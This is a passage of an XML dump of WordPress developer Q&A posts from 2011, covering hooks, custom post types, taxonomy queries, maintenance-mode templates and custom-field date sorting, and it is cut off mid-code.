  <row Id="18905" PostTypeId="2" ParentId="18901" CreationDate="2011-06-01T00:25:13.810" Score="2" ViewCount="" Body="&lt;p&gt;These two might be your friends:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('edit_post','your_action');&#xA;&#xA;add_action('pre_post_update','your_action');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See: &lt;a href=&quot;http://codex.wordpress.org/Plugin_API/Action_Reference#Post.2C_Page.2C_Attachment.2C_and_Category_Actions&quot; rel=&quot;nofollow&quot;&gt;Action Reference: Post, Page, Attachment, and Category Actions&lt;/a&gt; for more inspiration...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS. It depends on context but consider also using &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_update_post&quot; rel=&quot;nofollow&quot;&gt;wp_update_post&lt;/a&gt; instead &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_insert_post&quot; rel=&quot;nofollow&quot;&gt;wp_insert_post&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2110" LastActivityDate="2011-06-01T00:25:13.810" CommentCount="5" />
  <row Id="18906" PostTypeId="2" ParentId="18901" CreationDate="2011-06-01T00:29:38.103" Score="3" ViewCount="" Body="&lt;p&gt;you can use &lt;code&gt;pre_post_update&lt;/code&gt; action hook like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('pre_post_update','post_updating_callback');&#xA;function post_updating_callback($post_id){&#xA;    global $post;&#xA;    // verify if this is an auto save routine. &#xA;    // If it is our form has not been submitted, so we dont want to do anything&#xA;    if ( defined( 'DOING_AUTOSAVE' ) &amp;amp;&amp;amp; DOING_AUTOSAVE ) &#xA;      return;&#xA;    if ($post-&amp;gt;post_status == &quot;publish&quot;){&#xA;        //do update stuff here.&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Update:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;instead of &lt;code&gt;wp_insert_post()&lt;/code&gt; use &lt;code&gt;wp_update_post&lt;/code&gt; like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//first get the original post&#xA;$postarr = get_post($post_id,'ARRAY_A');&#xA;&#xA;//then set the fields you want to update&#xA;$postarr['post_title'] = &quot;new title&quot;;&#xA;$postarr['post_content'] = &quot;new edited content&quot;;&#xA;&#xA;$post_id = wp_update_post($postarr);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this way you only need to specify the fields that were updated and never worry about stuff like what was the original post type.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-06-01T20:26:39.267" LastActivityDate="2011-06-01T20:26:39.267" CommentCount="4" />
  <row Id="18908" PostTypeId="2" ParentId="18675" CreationDate="2011-06-01T01:51:37.910" Score="0" ViewCount="" Body="&lt;p&gt;nobody knows for my question?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="5644" LastActivityDate="2011-06-01T01:51:37.910" />
  <row Id="18909" PostTypeId="1" CreationDate="2011-06-01T03:21:23.537" Score="3" ViewCount="215" Body="&lt;p&gt;I'm finishing up a personal site that I've spent many weekends on. I've left one of the (potentially) most complicated parts to the end of production. I'm looking for some advice on how to proceed with a fairly customized portfolio / gallery feature. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll note that I'm relatively new to wordpress, but not to building things with code (as3, javascritp, c#). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use case looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;User opens portfolio page, and a limited number (3 rows of 3) of thumbnail containers populate the screen. Thumbs are pulled in via ajax, and rollovers / effects are applied on the client side. Click of thumb floats a div over the page (ala fancybox). Div contains a larger image and then another hunk of markup detailing category tags, year, notes etc. Link in floated div opens folio item in a &quot;project&quot; page (a custom template), with this same, but perhaps expanded, information. In the long run, the user will have the choice of a few different presentation options, but this is where I'm starting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The content is pretty varied, and so &lt;em&gt;the format must be pretty flexible&lt;/em&gt;. Everything from single photos or illustrations, to a more complex breakdown and commenting of a completed project (web app or body of images, for example). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the minimum, I need a data returned from query variables - and the easiest would be to just write up a static xml file/s and just run the whole thing via ajax. I could easily build the whole thing on the fly, client side, and just call it a day. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That being said, I would really like to integrate this content into wordpress and manage content dynamically. I've seriously considered rolling my own plugin to deal with data CRUD. I figure I need, at least one admin page, and then probably a couple of front facing templates for client side delivery. It would be nice to upload contents as well, but I can easily just use an ftp to do so. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, first real question: how should I proceed with my first plugin, and what built in WP functionality can I leverage to make the process as smooth as possible (making use of the WP_query, or the post / page system, for example). Ultimately, I just need a basic data source / delivery system that I can extract via json or otherwise, and all my needs would be met.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before I begin on one of these two build paths, is there a plugin that may suit my specific needs already? I've poked through Next Gen and the built in WP gallery, but I &lt;em&gt;think&lt;/em&gt; they may not be flexible enough... it doesn't seem like it. I'm not concerned with a wealth of features as much as a reliable data creation / delivery system. Thoughts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance - &lt;/p&gt;&#xA;" OwnerUserId="5430" LastEditorUserId="5430" LastEditorDisplayName="" LastEditDate="2011-06-02T00:16:27.683" LastActivityDate="2011-08-29T14:26:10.210" Title="Build path for a custom portfolio plugin" Tags="&lt;plugin-development&gt;&lt;plugin-recommendation&gt;&lt;ajax&gt;&lt;gallery&gt;" AnswerCount="1" CommentCount="5" />
  <row Id="18911" PostTypeId="1" CreationDate="2011-06-01T04:40:25.417" Score="3" ViewCount="131" Body="&lt;p&gt;How can I exclude the child term posts from showing up in the parent term posts output??  Right now it's duplicating in both parent and child term outputs.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; //Function to display posts grouped by taxonomies&#xA;    function display_posts_per_taxonomies($parent_term, $post_type = 'beat_posts', $taxonomy = 'beats'){&#xA;    $parent_posts = get_posts(array(&#xA;    'tax_query' =&amp;gt; array( array(&#xA;    'taxonomy' =&amp;gt; $taxonomy,&#xA;    'field' =&amp;gt; 'slug',&#xA;    'terms' =&amp;gt; $parent_term&#xA;        )),&#xA;        'post_type' =&amp;gt; $post_type&#xA;    ));&#xA;    echo '&amp;lt;ul&amp;gt;';&#xA;    foreach($parent_posts as $post){&#xA;        echo &quot;&amp;lt;li&amp;gt;{$post-&amp;gt;post_title}&amp;lt;/li&amp;gt;&quot;; &#xA;    }&#xA;    $children_terms = get_terms($taxonomy, array(&#xA;        'parent' =&amp;gt; get_term_by('slug', $parent_term, $taxonomy)-&amp;gt;term_id&#xA;    )); &#xA;    foreach($children_terms as $term){&#xA;        echo '&amp;lt;li&amp;gt;';&#xA;        display_posts_per_taxonomies($term-&amp;gt;slug, $post_type, $taxonomy);&#xA;        echo '&amp;lt;/li&amp;gt;';&#xA;    }&#xA;    echo '&amp;lt;/ul&amp;gt;';   &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Below is what I'm trying to get rid of.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;&amp;lt;li&amp;gt;adsf&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;ergerg&amp;lt;/li&amp;gt; &amp;lt;---get rid of this one (duplicate)&#xA;&amp;lt;li&amp;gt;asdfasdfsdf&amp;lt;/li&amp;gt; &amp;lt;---get rid of this one (duplicate)&#xA;&amp;lt;li&amp;gt;rthhdhdfhdhdfhdfg&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;&#xA;&amp;lt;ul&amp;gt;&#xA;&amp;lt;li&amp;gt;ergerg&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;asdfasdfsdf&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5698" LastEditorUserId="5698" LastEditorDisplayName="" LastEditDate="2011-06-01T21:50:40.300" LastActivityDate="2011-08-04T21:55:48.043" Title="Exclude Child Terms From Parent Posts" Tags="&lt;terms&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="2" />
  <row Id="18912" PostTypeId="1" CreationDate="2011-06-01T04:59:49.547" Score="1" ViewCount="32" Body="&lt;p&gt;I have a WP site and an external XML news service.&#xA;I want to add X news items in the blog posts, and two sidebar blocks with Y, respectively Z news items.&#xA;How do I go about having a single request to the external service, for the X+Y+Z number of news and display it properly?&#xA;normally the solution would be to request the news using an external service then cache it in the DB and just select from there, but this is unfortunately out of the question.&#xA;thanks a lot for your help!&lt;/p&gt;&#xA;" OwnerUserId="5851" LastActivityDate="2011-06-01T04:59:49.547" Title="combine requests for external service in plugin" Tags="&lt;plugins&gt;" CommentCount="4" />
  <row Id="18913" PostTypeId="1" CreationDate="2011-06-01T05:55:30.407" Score="1" ViewCount="45" Body="&lt;p&gt;I'm not sure whats wrong with this line. Have I place this incorrectly? How do I get it to recognize the $yourcat-&gt;slug;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $cat = get_query_var('cat');&#xA; $yourcat = get_category ($cat);&#xA; $uri = $_SERVER['REQUEST_URI'];&#xA; if (($uri == '/category/$yourcat-&amp;gt;slug;') { &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5853" LastActivityDate="2011-06-01T07:43:41.953" Title="Category slug $_SERVER['REQUEST_URI'];" Tags="&lt;categories&gt;&lt;slug&gt;" AnswerCount="2" />
  <row Id="18916" PostTypeId="2" ParentId="18913" CreationDate="2011-06-01T06:25:15.243" Score="1" ViewCount="" Body="&lt;p&gt;your syntax is wrong change the single quotation mark to a double quotation mark and remove the semicolom&#xA;on this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (($uri == '/category/$yourcat-&amp;gt;slug;') { &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it should become:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (($uri == &quot;/category/$yourcat-&amp;gt;slug&quot;) {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-06-01T06:25:15.243" />
  <row Id="18917" PostTypeId="1" CreationDate="2011-06-01T07:21:43.983" Score="2" ViewCount="56" Body="&lt;p&gt;I am trying to replicate specific functionality from my vb forums in my wordpress install. Specifically I can create 'user notices' that are displayed on the front end of the website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically I can create a post that only displays to non-logged in users, moderators, admins, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My plan of attack is to create a custom post-type so that I can easily organize my notices. I am very comfortable working with post-types, and it seems logical.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;questions:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;2) When I create a new 'notice post' what would be the best way to 'categorize' it to target a specific group, i.e. - not-logged-in, moderator, subscriber, etc?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;I was thinking about using a custom taxonomy so that I would select a term like 'moderator' in order to categorize the posts.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where I get a bit stuck is how to best call the post on the front-end without resorting to a ton of if/else statements. (there can and will be about 20 conditions on a pretty high traffic site)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if tax_term = moderator then display x, else if not_logged_in display y, else...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) One important condition is to be able to display the notices to users that have not posted a specific post-type 'forum-topic' within the last 30 days.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*Can someone provide me with a function that meets this specific condition?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;finally:&#xA;If there is a better way to approach this, I am very open to other ideas. I did search the plugin directory for inspiration but really didn't find anything. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="370" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-06-01T09:26:25.277" LastActivityDate="2011-07-01T23:20:05.597" Title="Admin to user notices - best practices?" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;notifications&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="18918" PostTypeId="1" AcceptedAnswerId="19483" CreationDate="2011-06-01T07:22:14.873" Score="0" ViewCount="149" Body="&lt;p&gt;Ok so i have my mu setup with subdomains and need a subdomian to point to a different path. My issue is when i add the vhost file it loads before wordpress and loads it path for everything that does not have an assigned path in my vhosts config. But if i load after wordpress domain install then it trys to create a site for the subdomain entered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What i need is this:&lt;br&gt;&#xA;    sub2.mydomain.com - points to /path/to/sub/directory&lt;br&gt;&#xA;    *.mydomain.com - points to /path/to/wordpress/install&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt;&lt;br&gt;&#xA;I am using a domain mapping plugin which i think is causing my issue. All sub sites load fine but when i load a mapped domain to a sub site it does not work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can not add my mapped domain each time to my vhost config since i plan on allowing others to map domains&lt;/p&gt;&#xA;" OwnerUserId="4998" LastEditorUserId="4998" LastEditorDisplayName="" LastEditDate="2011-06-03T07:05:53.063" LastActivityDate="2011-06-08T06:32:56.263" Title="Wordpress MU subdomain vhost" Tags="&lt;multisite&gt;&lt;network&gt;&lt;domain-mapping&gt;&lt;subdomains&gt;&lt;virtual-hosts&gt;" AnswerCount="3" CommentCount="8" />
  <row Id="18919" PostTypeId="2" ParentId="18860" CreationDate="2011-06-01T07:36:23.780" Score="0" ViewCount="" Body="&lt;p&gt;If you want total control, then a css solution is not enough. a more powerful solution is to create a sort of template hierarchy for single posts based on the category slug. Here is the general idea.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In single.php find out the categories connected to the post using get_the_category() - if as you say there will only ever be one category assigned, then just use the first value in the returned array. then once you have the cat object, get it's slug. from there see if that filename exists in the theme folder that matches 'single-' plus catslug and load it if it does. Otherwise continue using the regular single post loop. then you create post templates for specific categories and name them based on the category slug. ie. single-mycatslug.php. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is some code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$my_cats = get_the_category();&#xA;if ( is_array( $my_cats ) )&#xA;    $my_cat_slug = $my_cats[0]-&amp;gt;slug;&#xA;&#xA;$my_template = 'single-' . $my_cat_slug . '.php';&#xA;&#xA;if ( file_exists( TEMPLATEPATH  . $my_template ) ) {&#xA;    get_template_part( $my_template );&#xA;} else {&#xA;    // run normal loop for single post&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I run this on a production site and it works great.&lt;/p&gt;&#xA;" OwnerUserId="4229" LastEditorUserId="4229" LastEditorDisplayName="" LastEditDate="2011-06-02T16:59:07.533" LastActivityDate="2011-06-02T16:59:07.533" />
  <row Id="18920" PostTypeId="2" ParentId="18913" CreationDate="2011-06-01T07:43:41.953" Score="1" ViewCount="" Body="&lt;p&gt;AND you can surround the variable with curly brackets&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (($uri == &quot;/category/{$yourcat-&amp;gt;slug}&quot;) {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;when you use single quotes, php does not look in the string for variables to replace. when you use double quotes it does. But in some cases there can be confusion such as this case. So when you do object reference like this, it's best to use the curly braces to explicitly say this is a variable that should be replaced.&lt;/p&gt;&#xA;" OwnerUserId="4229" LastActivityDate="2011-06-01T07:43:41.953" />
  <row Id="18921" PostTypeId="2" ParentId="18154" CreationDate="2011-06-01T07:47:45.843" Score="0" ViewCount="" Body="&lt;p&gt;I could have interpreted badly your intentions but shouldn't your code be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;  if ( is_page_template(&quot;basic-template.php&quot;) ) {&#xA;    // do nothing (hide comments)&#xA;  } else {&#xA;    comments_template();&#xA;  }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="36" LastActivityDate="2011-06-01T07:47:45.843" CommentCount="2" />
  <row Id="18923" PostTypeId="2" ParentId="12201" CreationDate="2011-06-01T08:07:50.320" Score="0" ViewCount="" Body="&lt;p&gt;Yes this is possible. I built a plugin like this for WPMU ages ago (http://natureofmind.org/30/default-categories-for-new-blogs/ but no longer supported) more up-to-date would be the following two plugins: &lt;a href=&quot;http://wordpress.org/extend/plugins/wpmu-new-blog-defaults/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wpmu-new-blog-defaults/&lt;/a&gt; and &lt;a href=&quot;http://premium.wpmudev.org/project/new-blog-template&quot; rel=&quot;nofollow&quot;&gt;http://premium.wpmudev.org/project/new-blog-template&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4229" LastActivityDate="2011-06-01T08:07:50.320" />
  <row Id="18924" PostTypeId="1" AcceptedAnswerId="18946" CreationDate="2011-06-01T08:10:38.317" Score="1" ViewCount="115" Body="&lt;p&gt;I'm trying to build a query in order to sort some posts by a date custom field, where the dates are formatted dd/mm/yyyy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works by querying the database directly with &lt;code&gt;get_results&lt;/code&gt; like in this example :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$querystr = &quot;&#xA;    SELECT *&#xA;    FROM wp_posts, wp_postmeta&#xA;    WHERE wp_posts.ID = wp_postmeta.post_id&#xA;    AND wp_postmeta.meta_key = 'my_cutom_date'&#xA;    AND wp_posts.post_status = 'publish'&#xA;    AND wp_posts.post_type = 'post'&#xA;    ORDER BY STR_TO_DATE(wp_postmeta.meta_value, '%d/%m/%Y') ASC&#xA;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But, I would like to transpose this behavior to a &lt;code&gt;WP_Query&lt;/code&gt;, using a &lt;code&gt;posts_where&lt;/code&gt; filter. I got as far as this :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;    'post_type' =&amp;gt; 'post',&#xA;    'post_status' =&amp;gt; 'publish',&#xA;    'posts_per_page' =&amp;gt; 10,&#xA;    'meta_key' =&amp;gt; 'my_custom_date'&#xA;); &#xA;&#xA;function filter_orderby( $orderby = '' ) {  &#xA;    global $wpdb;&#xA;    $orderby .= &quot; ORDER BY STR_TO_DATE($wpdb-&amp;gt;postmeta.meta_value, '%d/%m/%Y') ASC &quot;;&#xA;    return $orderby;&#xA;}&#xA;&#xA;add_filter( 'posts_orderby', 'filter_orderby' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it doesn't seem to return anything. what am I missing ?&lt;/p&gt;&#xA;" OwnerUserId="1381" LastActivityDate="2011-06-01T13:04:16.313" Title="How to filter a dd/mm/yyyy date from a custom field in a query" Tags="&lt;custom-field&gt;&lt;wp-query&gt;&lt;filters&gt;&lt;date-time&gt;&lt;wpdb&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" />
  <row Id="18925" PostTypeId="2" ParentId="128" CreationDate="2011-06-01T08:18:12.240" Score="0" ViewCount="" Body="&lt;p&gt;Custom Field Template is a killer plugin for making wordpress a happy CMS. &lt;a href=&quot;http://wordpress.org/extend/plugins/custom-field-template/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/custom-field-template/&lt;/a&gt; Using a wonky, poorly documented interface you can create almost any kind of data entry field in the back end. and show these 'post templates' only for certain custo post types, categories, you name it. You can add text fields, text areas, TinyMCE editors, file uploads, date fields. you can have repeating fields, even repeating groups. the plugin is very solid, but is poorly documented and not easy to understand at first. but after you get it, it's very very useful. &lt;/p&gt;&#xA;" OwnerUserId="4229" LastActivityDate="2011-06-01T08:18:12.240" CommunityOwnedDate="2011-06-01T08:18:12.240" />
  <row Id="18926" PostTypeId="1" CreationDate="2011-06-01T08:39:41.947" Score="1" ViewCount="59" Body="&lt;p&gt;I'm looking for a commenting system that allows users to like/dislike each other's comments with the highest liked comments automatically rising to the top, much like YouTube's commenting system. Anybody know of something like this?&lt;/p&gt;&#xA;" OwnerUserId="5856" LastActivityDate="2011-06-01T09:53:38.990" Title="Are there any &quot;YouTube-styled&quot; commenting systems for WordPress?" Tags="&lt;comments&gt;" AnswerCount="3" />
  <row Id="18928" PostTypeId="2" ParentId="18926" CreationDate="2011-06-01T08:42:45.207" Score="1" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://disqus.com/&quot; rel=&quot;nofollow&quot;&gt;Disqus&lt;/a&gt; handles this use case.&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-06-01T08:42:45.207" />
  <row Id="18929" PostTypeId="2" ParentId="18926" CreationDate="2011-06-01T09:12:10.143" Score="0" ViewCount="" Body="&lt;p&gt;Take a look at &lt;a href=&quot;http://wordpress.org/extend/plugins/comment-rating/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Comment Rating&lt;/strong&gt;&lt;/a&gt; plugin which has that functionality&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-06-01T09:12:10.143" />
  <row Id="18930" PostTypeId="2" ParentId="18729" CreationDate="2011-06-01T09:23:36.340" Score="1" ViewCount="" Body="&lt;p&gt;It seems like your server time is not correctly set. Please correct your server time, you may want to restart your web server after fixing the time.&lt;/p&gt;&#xA;" OwnerUserId="5337" LastActivityDate="2011-06-01T09:23:36.340" CommentCount="4" />
  <row Id="18931" PostTypeId="2" ParentId="18853" CreationDate="2011-06-01T09:42:14.537" Score="0" ViewCount="" Body="&lt;p&gt;If anyone else as the same issue my full workaround is:&lt;br&gt;&#xA; 1) in wp-admin &gt;&gt; settings &gt;&gt; reading set blog posts to show as 1.&lt;br&gt;&#xA; 2) then override this in loop-blog.php to posts_per_page =&gt; 10.&lt;br&gt;&#xA; 3) in your custom post type loop.php files set posts_per_page =&gt; 5.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember these are the settings that i require, your needs may be different, bottom line is, set blog posts in wp-admin to 1, you can configure the other number of posts_per_page to your own needs  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;now all is working good, a little hacky but at least it works, so my next question is &gt;&gt;&gt; is this a wp bug? &lt;/p&gt;&#xA;" OwnerUserId="3710" LastActivityDate="2011-06-01T09:42:14.537" />
  <row Id="18932" PostTypeId="1" CreationDate="2011-06-01T09:51:02.590" Score="1" ViewCount="93" Body="&lt;p&gt;Does anyone know how to allow syntax highlighting for custom fields. None of the solutions out there seems to have support for custom fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="5858" LastActivityDate="2011-06-01T09:59:39.923" Title="Syntax highligting for custom fields" Tags="&lt;custom-field&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="18933" PostTypeId="2" ParentId="18926" CreationDate="2011-06-01T09:53:38.990" Score="0" ViewCount="" Body="&lt;p&gt;This is the best one for comment.try this.... &lt;a href=&quot;http://Disqus.com&quot; rel=&quot;nofollow&quot;&gt;Disqus&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5669" LastActivityDate="2011-06-01T09:53:38.990" CommentCount="4" />
  <row Id="18934" PostTypeId="2" ParentId="18932" CreationDate="2011-06-01T09:59:39.923" Score="1" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Syntax_highlighting&quot; rel=&quot;nofollow&quot;&gt;Syntax Highlighting&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://stackoverflow.com/questions/3460696/custom-text-field-with-syntax-highlighting-for-c-in-a-sharepoint-list&quot;&gt;It may be Help You&lt;/a&gt;  i think these are useful for u.&lt;/p&gt;&#xA;" OwnerUserId="5669" LastActivityDate="2011-06-01T09:59:39.923" />
  <row Id="18935" PostTypeId="1" AcceptedAnswerId="18936" CreationDate="2011-06-01T10:14:19.010" Score="2" ViewCount="99" Body="&lt;p&gt;I want to build a very simple toggle for taking my site down into a maintenance mode. To do that, I want to add a admin area to define a template that is the maintenance page, and allow that page to override the database defined template when maintenance mode is switched on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I change the theme template called for each page, WITHOUT affecting the database?&lt;/p&gt;&#xA;" OwnerUserId="784" LastActivityDate="2011-06-01T15:08:21.963" Title="Programatically switch page template?" Tags="&lt;page-template&gt;&lt;maintenance&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="18936" PostTypeId="2" ParentId="18935" CreationDate="2011-06-01T11:25:16.670" Score="1" ViewCount="" Body="&lt;p&gt;you can use &lt;code&gt;template_redirect&lt;/code&gt; action hook to php include your maintenance mode template file using a simple option in options database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you turn maintenance mode on add an option for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_option('maintenance_mode_on');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then with this code you check if that option is set and if so you redirect to your desired template file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function custom_maintenance_mode_template_redirect() {&#xA;    global $wp;&#xA;    if(get_option('maintenance_mode_on')){&#xA;        status_header(200); // a 404 code will not be returned in the HTTP headers if the page does not exists&#xA;&#xA;        include(TEMPLATEPATH . &quot;/Custom_template.php&quot;); // include the corresponding template&#xA;        die();&#xA;    }&#xA;}&#xA;add_action( 'template_redirect', 'custom_maintenance_mode_template_redirect' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then when you turn maintenance mode off delete that option :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;delete_option('maintenance_mode_on');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Update&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If you want to effect the &lt;code&gt;body_class()&lt;/code&gt; you can use &lt;code&gt;body_class&lt;/code&gt; filter hook:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function custom_body_class($classes){&#xA;    if(get_option('maintenance_mode_on')){&#xA;            $n_classes[] = &quot;maintenance&quot;;&#xA;        return $n_classes;&#xA;    } else {&#xA;        return $classes;&#xA;    }&#xA;}&#xA;&#xA;add_filter('body_class', 'custom_body_class');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will change the body_class() to output &lt;code&gt;maintenance&lt;/code&gt; when maintenance mode is turned on.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-06-01T15:08:21.963" LastActivityDate="2011-06-01T15:08:21.963" CommentCount="4" />
  <row Id="18937" PostTypeId="1" AcceptedAnswerId="18939" CreationDate="2011-06-01T11:26:57.980" Score="2" ViewCount="50" Body="&lt;p&gt;Currently for every category there is a separate template (&lt;em&gt;category-1.php, category-2.php&lt;/em&gt;, etc..), in my case there is over a hundred of them. I want refactor it to 4, so for instance if $cat is in range 1..20, render &quot;first_category.php&quot;, if in range 21..50, render &quot;second_category.php&quot; and so on. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="5860" LastActivityDate="2011-06-01T11:37:23.257" Title="How to override Category rendering mechanism" Tags="&lt;categories&gt;&lt;template&gt;&lt;page-template&gt;" AnswerCount="1" />
  <row Id="18938" PostTypeId="1" CreationDate="2011-06-01T11:32:13.950" Score="1" ViewCount="138" Body="&lt;p&gt;Any tips on fitting pagination into my loop below and I owe you a beer or two. I've worked out how to pull the top rated articles by vote from a custom plugin, and lay it out with a count, but pagination has me stumped. I'm a self-taught learner here so any help would be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was aiming for 6 posts shown per page then use pagination if needed. &#xA;Two posts are shown and after that a new code section is inserted with a count, the count works, everything works except pagination.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure how this fits in&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'$wp_query-&amp;gt;query('showposts=6'.'&amp;amp;paged='.$paged); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;when I already use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DESC LIMIT 6 OFFSET 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in my query...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php global $wpdb;&#xA;$query_sql = &quot;SELECT like_pid FROM &quot; . $wpdb-&amp;gt;prefix .&quot;likes_count ORDER BY like_count DESC LIMIT 6 OFFSET 0&quot;;&#xA;$query_result = $wpdb-&amp;gt;get_col( $wpdb-&amp;gt;prepare ($query_sql, OBJECT));&#xA;if ($query_result) {&#xA;foreach ($query_result as $post_id) {&#xA;$post = 